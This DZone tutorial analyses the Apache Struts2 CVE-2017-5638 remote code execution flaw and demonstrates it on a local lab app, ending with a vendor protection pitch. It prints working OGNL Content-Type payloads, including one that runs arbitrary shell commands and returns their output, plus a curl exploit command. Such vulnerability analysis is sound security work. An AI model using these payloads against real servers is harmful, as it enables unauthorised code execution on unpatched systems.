DZone
Thanks for visiting DZone today,
Edit Profile
  • Manage Email Subscriptions
  • How to Post to DZone
  • Article Submission Guidelines
Sign Out View Profile
  • Post an Article
  • Manage My Drafts
Over 2 million developers have joined DZone.
Log In / Join
Refcards Trend Reports Events Over 2 million developers have joined DZone. Join Today! Thanks for visiting DZone today,
Edit Profile Manage Email Subscriptions Moderation Admin Console How to Post to DZone Article Submission Guidelines
View Profile
Sign Out
Refcards
Trend Reports
Events
Zones
Culture and Methodologies Agile Career Development Methodologies Team Management
Data Engineering AI/ML Big Data Data Databases IoT
Software Design and Architecture Cloud Architecture Containers Integration Microservices Performance Security
Coding Frameworks Java JavaScript Languages Tools
Testing, Deployment, and Maintenance Deployment DevOps and CI/CD Maintenance Monitoring and Observability Testing, Tools, and Frameworks
Partner Zones AWS Cloud
by AWS Developer Relations
Culture and Methodologies
Agile Career Development Methodologies Team Management
Data Engineering
AI/ML Big Data Data Databases IoT
Software Design and Architecture
Cloud Architecture Containers Integration Microservices Performance Security
Coding
Frameworks Java JavaScript Languages Tools
Testing, Deployment, and Maintenance
Deployment DevOps and CI/CD Maintenance Monitoring and Observability Testing, Tools, and Frameworks
Partner Zones
AWS Cloud
by AWS Developer Relations
  1. DZone
  2. Software Design and Architecture
  3. Security
  4. Will it Pwn CVE-2017-5638: Remote Code Execution in Apache Struts 2?

Will it Pwn CVE-2017-5638: Remote Code Execution in Apache Struts 2?

It seems like the new Struts vulnerability has everyone in the security world reeling. Learn how to use a few simple tools to beef up your security in light of this news.

Ajin Abraham user avatar by
Ajin Abraham
·
Mar. 20, 17 · Tutorial
Like (3)
Save
Tweet
Share
8.26K Views

Join the DZone community and get the full member experience.

Join For Free

A few days back Nike Zheng reported a Remote Code Execution vulnerability in Apache Struts2. The vulnerability exploits a bug in Jakarta's Multipart parser used by Apache Struts2 to achieve remote code execution by sending a crafted Content-Type header in the request. This is a perfect example of a vulnerability in a third-party component. In the real word fixing this vulnerability will take considerable time as it’s not feasible to write a patch for a third party module and updating to a patched version needs proper testing in multiple environments before pushing to production. This blog explains the detailed analysis of the vulnerability, exploitation, and how IMMUNIO provides both detection and protection.

Detailed Vulnerability Analysis

The root cause of the vulnerability is that Apache Struts2 by default uses Jakarta’s Multipart parser when the content type header is set to multipart/form-data. A crafted content type header with an OGNL expression passed into Jakarta’s Multipart parser will trigger an exception which is then passed into an error message building function along with the OGNL payload. That function evaluates the OGNL expression resulting in code execution.

Let’s take a detailed look into this vulnerability.

Here is a sample exploit:

%{
(#_='multipart/form-data').
(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(@java.lang.Runtime@getRuntime().exec('curl localhost:8000'))
}


If we sent a content type header like the following

Content-Type: %{(#_='multipart/form-data').
(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(@java.lang.Runtime@getRuntime().exec('curl localhost:8000'))}

This will hit the wrapRequest method present in  org.apache.struts2.dispatcher. Dispatcher class.

Screen Shot 2017-03-10 at 9.10.21 PM.png

Reference

The payload contains (#_='multipart/form-data') which will satisfy the condition and the OGNL payload is passed into Jakarta’s Multipart parser. The parser tries to parse the payload using parse the  method in org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest    class.

Screen Shot 2017-03-10 at 9.40.28 PM.png

Reference

This will result in an exception and the buildErrorMessage method present in  org.apache.struts2.dispatcher.JakartaMultiPartRequest  is called.

Screen Shot 2017-03-10 at 9.43.07 PM.png

Reference

The execution will further go through couple of methods, findText method calls  getDefaultMessage  which calls the  TextParseUtil.translateVariables method that calls the evaluate  method ,which will evaluate the OGNL expression in the payload.

Screen Shot 2017-03-10 at 9.55.12 PM.png

If you consider this OGNL syntax  %{ OGNL code } , anything inside  %{ } is considered as an OGNL expression and will be evaluated by the OGNL parser.  ${ }  is also a valid expression.

In our case the following OGNL expression contains Java code that uses  getRuntime().exec to execute shell commands. This will be evaluated by the OGNL parser and results in code execution.

(#_='multipart/form-data').
(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(@java.lang.Runtime@getRuntime().exec('curl localhost:8000'))


Exploitation

Let’s quickly set up a vulnerable Apache Struts2 web application.

We have the demo application and sample exploits hosted in our github repo:https://github.com/immunio/apache-struts2-CVE-2017-5638
I have already downloaded and configured Tomcat 7 from 
https://tomcat.apache.org/download-70.cgi

From the apache-struts2-CVE-2017-5638 repository, copy struts2-showcase-2.3.12.war toapache-tomcat/webapps/

Go to apache-tomcat/bin and start the tomcat server by issuing the command
 ./catalina.sh start 

Screen Shot 2017-03-10 at 11.29.01 PM.png

Tomcat will automatically deploy struts2-showcase-2.3.12.war by extracting it to struts2-showcase-2.3.12 undern webapps directory.

You can access the structs app by navigating to http://127.0.0.1:8080/struts2-showcase-2.3.12/showcase.action

Screen Shot 2017-03-10 at 11.31.02 PM.png

Now let's exploit this using the vanilla payload

%{(#_='multipart/form-data').
(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(@java.lang.Runtime@getRuntime().exec('curl localhost:8000'))}

The above payload is very basic and we have no way to know if the payload got executed or not. 
So we will use an out of band command to connect to our server. I am using the command 
curl localhost:8000/apache-struts-cve as it will try to connect to our server.

Let’s quickly run a simple Python server.

python -m SimpleHTTPServer 8000

Let’s run the exploit using curl

curl http://127.0.0.1:8080/struts2-showcase-2.3.12/showcase.action -H "Content-Type: %
{(#_='multipart/form-data').
(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(@java.lang.Runtime@getRuntime().exec('curl localhost:8000/apache-struts-cve'))}" >/tmp/foo


Once the payload executes, we can see a GET request log in our Python server which confirms the code execution.

Screen Shot 2017-03-10 at 11.41.27 PM.png

You can also try this out using exploit.py or exploit2.py in apache-struts2-CVE-2017-5638 repository. Both scripts use similar payloads.

Also since we are testing this locally, we can use a fancy payload like this on a Mac.

python exploit.py "open /Applications/Calculator.app"

Screen Shot 2017-03-11 at 5.58.47 PM.png

Lets use the following payload that contains Java code which will open in a memory shell, execute commands, and rewrite the HTTP response object with command execution results.


%{
(#_='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#cmd='whoami').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush())
}


We will use exploit3.py to demonstrate this.

Screen Shot 2017-03-10 at 11.51.48 PM.png

Mission Accomplished!

Will IMMUNIO Protect against CVE-2017-5638?

IMMUNIO’s sensors can generate a dynamic whitelist on user input to harden your application, helping you to defend against code injection attacks. 

Execution (computing) Apache Struts remote Payload (computing) OGNL Vulnerability

Published at DZone with permission of Ajin Abraham, DZone MVB. See the original article here.

Opinions expressed by DZone contributors are their own.

Popular on DZone

  • A Beginner's Guide to Infrastructure as Code
  • Microservices Testing
  • DeveloperWeek 2023: The Enterprise Community Sharing Security Best Practices
  • A Gentle Introduction to Kubernetes

Comments

Partner Resources

X

ABOUT US

  • About DZone
  • Send feedback
  • Careers
  • Sitemap

ADVERTISE

  • Advertise with DZone

CONTRIBUTE ON DZONE

  • Article Submission Guidelines
  • Become a Contributor
  • Visit the Writers' Zone

LEGAL

  • Terms of Service
  • Privacy Policy

CONTACT US

  • 600 Park Offices Drive
  • Suite 300
  • Durham, NC 27709
  • support@dzone.com
  • +1 (919) 678-0300

Let's be friends: